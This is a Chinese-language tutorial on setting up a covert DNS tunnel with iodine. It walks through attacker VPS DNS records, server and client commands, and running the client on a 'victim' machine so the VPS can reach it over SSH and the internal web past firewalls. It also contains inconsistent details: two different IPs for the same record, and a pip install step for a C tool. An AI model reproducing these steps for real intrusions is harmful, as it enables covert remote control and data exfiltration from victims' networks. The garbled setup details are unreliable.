内网隐蔽隧道之DNS隧道搭建(iodine)

 DNS隧道 #

DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

  • dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
  • iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
  • Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

iodine #

iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。

环境搭建 #

域名解析配置 #

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名 —> 域名注册及域名解析

在添加A记录的基础上,再添加一个NS记录(将子域名指定其他DNS服务器解析,子域名字随便自己定)

  • 第一条A类记录,告诉域名系统,"www.ssrc.top" 的IP地址是 "39.100.88.162"
  • 第二条NS记录,告诉域名系统,"12.ssrc.top" 的域名由 "www.ssrc.top" 进行解析。即12.ssrc.top还是会被解析为33.100.88.162

此时,我们能ping通www.ssrc.top,说明A记录配置正确

然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup 12.ssrc.top 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

安装并启动服务器 #

在vps中安装iodine的服务端,因为为linux系统,直接执行以下命令进行下载

pip install iodine

执行以下命令启动服务端

iodined -f -c -P root@123456 172.16.10.1 12.ssrc.top -DD
    -f:在前台运行
    -c:禁止检查所有传入请求的客户端IP地址
    -P:指定密码
    -D:指定调试级别。-DD指第二级,D的数量随等级增加
    这里的172.16.10.1是自定义的局域网虚拟IP地址

运行之后VPS上会多一个虚拟网卡地址,地址为刚设置的地址

安装并启动客户端 #

我们在受害者机器上运行客户端

客户端为linux #

kali中自带了iodine,如果没有则先下载再进行安装:https://github.com/yarrick/iodine

cd iodine-master
make && make install

然后执行下面命令连接服务端(需要root权限),如图连接成功。

iodine -f -P root@123456 12.ssrc.top

如下,代表连接成功,此时服务端也会有数据反应

连接成功后,客户端上新建了一个dns0的网卡,IP地址为172.16.10.2,与服务端生成的虚拟网卡的地址处于同一网段

此时vps和客户端相当于处于同一内网环境

1. vps可以直接ping客户端地址172.16.10.2

编辑

2. vps访问内网的web服务

3. vps ssh连接客户端

客户端为windows #

下载:iodine-0.7.0-windows+TAP

iodine.exe使用需要先安装TAP适配器,所以安装openvpn-install-2.3.13-I601-x86_64.exe,安装时只选择TAP Virtual Ethernet Adapte

将iodine.exe以及dll文件上传到机器上(服务端使用iodined,客户端使用iodine)

安装完TAP后,执行

iodine.exe -f -P root@123456 12.ssrc.top

如下代表连接成功

此时能看出多出了一张网卡172.16.10.2

此时vps服务端能ping通客户端,但是客户端ping不同服务端不知道为啥

此时在客户端的网段连接中是看不到任何信息的